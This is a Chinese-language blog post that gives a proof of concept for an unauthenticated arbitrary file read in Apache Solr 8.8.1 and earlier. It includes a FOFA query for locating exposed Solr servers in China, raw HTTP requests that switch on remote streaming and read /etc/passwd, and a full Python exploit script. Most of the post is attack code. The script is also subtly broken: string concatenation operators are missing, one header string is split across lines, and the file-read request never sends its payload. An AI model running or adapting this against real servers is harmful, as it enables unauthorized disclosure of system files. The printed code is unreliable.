Apache Solr 任意文件读取漏洞(poc编写 )

2024-09-02 13:10:35 浏览数 (3)

本篇主要是针对poc的编写

漏洞介绍

Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件

主要原因:由于未开启身份验证,导致未经身份验证的攻击者可利用Config API打开requestDispatcher.requestParsers.enableRemoteStreaming开关,从而使攻击者可以在未授权的情况下获取目标服务器敏感文件。

影响版本:Apache Solr <= 8.8.1

fofa语法:app="Apache-Solr" && country="CN" && status_code="200"

漏洞复现

Solr下载地址:自行下载对应满足版本http://archive.apache.org/dist/lucene/solr/

第一步、获取core的信息

代码语言:javascript复制
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

第二步、依据core_name构造config包

代码语言:javascript复制
POST /solr/demo/config HTTP/1.1
Host: ip:8983
Content-Length: 82
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Origin: http:/ip:89833 
Content-Type: application/json 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36 
Accept:text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Referer: http://ip:8983/solr/demo/config
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 
Connection: close

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

依据响应包判断是否存在漏洞,状态包以及响应内容**"This response format is experimental. It is likely to change in the future.**" 表示存在漏洞

第三步:读取文件/etc/passwd

代码语言:javascript复制
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.111.130:8983
Content-Length: 31
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Origin: http:/192.168.111.130:89833 
Content-Type: application/x-www-form-urlencoden 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36 
Accept:text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Referer: http://192.168.111.130:8983/solr/demo/config
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 
Connection: close

stream.url=file:///etc/passwd

poc分析

构建poc的基础操作

代码语言:javascript复制
1、利用开源的POC框架,也可以自己写框架(建议使用poc框架)
2、熟悉漏洞原理
3、搭建漏洞靶场环境
4、选择编程语言(常用python)
    常用python库:
       urllib2: 发送HTTP/HTTPS请求
       requests:更“高级”的urllib2库
       re:正则表达式
       random:生成随机数
       base64:base64编码
       hashlib:常用来计算md5值
       time:用来统计访问时间延迟  等等。。。

这里使用python进行编写

代码语言:javascript复制
引入python模块

第一步:获取core的信息

代码语言:javascript复制
#拼接url然后提取name值
def get_core_name(target_url):
    core_url = target_url   "/solr/admin/cores?indexInfo=false&wt=json"
    reqs = requests.get(url=core_url,timeout=10)

    try:
        core_name = list(json.loads(reqs.text)["status"])[0]
        return core_name
    except:
        # print ("无法提取")
        sys.exit()

第二步、依据core_name构造config包

代码语言:javascript复制
#构造config包
def enable_remote_streaming(target_url,core_name):
    session = requests.session()
    vuln_url = target_url   "/solr/"   core_name   "/config"
    headers = {"Content-type": "application/json"}
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    reqs = session.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)

    if "responseHeader" in reqs.text and reqs.status_code == 200:
        print ("存在漏洞")
        return True
    else:
        print ("不存在漏洞")
        return False

第三步:读取文件/etc/passwd

代码语言:javascript复制
#构造查看/etc/passwd的包
def read_etc_passwd(target_url,core_name):
    session = requests.session()
    vuln_url = target_url   "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    reqs = session.post(url=vuln_url,headers=headers)

    if reqs.status_code == 200:
        print ("读取成功")
        print (reqs.text)
    else:
        return False

第四步:执行并输出

代码语言:javascript复制
def main(target_url):
    core_name = get_core_name(target_url)

    if core_name:
        if enable_remote_streaming(target_url,core_name):
            read_etc_passwd(target_url,core_name)

if __name__ == "__main__":
    TARGET_URL = "http://ip:8983"
    main(TARGET_URL)

poc编写

代码语言:javascript复制
# -*- coding: utf-8 -*-  
import requests

import sys

import random

import re

import base64

import time

import json

# from requests.packages.urllib3.exceptions import InsecureRequestWarning

#拼接url然后提取name值
def get_core_name(target_url):
    core_url = target_url   "/solr/admin/cores?indexInfo=false&wt=json"
    reqs = requests.get(url=core_url,timeout=10)

    try:
        core_name = list(json.loads(reqs.text)["status"])[0]
        return core_name
    except:
        # print ("无法提取")
        sys.exit()


#构造config包
def enable_remote_streaming(target_url,core_name):
    session = requests.session()
    vuln_url = target_url   "/solr/"   core_name   "/config"
    headers = {
  "Content-type": "application/json
 "}
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    reqs = session.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)

    if "responseHeader" in reqs.text and reqs.status_code == 200:
        print ("存在漏洞")
        return True
    else:
        print ("不存在漏洞")
        return False

#构造查看/etc/passwd的包
def read_etc_passwd(target_url,core_name):
    session = requests.session()
    vuln_url = target_url   "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    reqs = session.post(url=vuln_url,headers=headers)

    if reqs.status_code == 200:
        print ("读取成功")
        print (reqs.text)
    else:
        return False

def main(target_url):
    core_name = get_core_name(target_url)

    if core_name:
        if enable_remote_streaming(target_url,core_name):
            read_etc_passwd(target_url,core_name)

if __name__ == "__main__":
    TARGET_URL = "http://ip:8983"
    main(TARGET_URL)

0 人点赞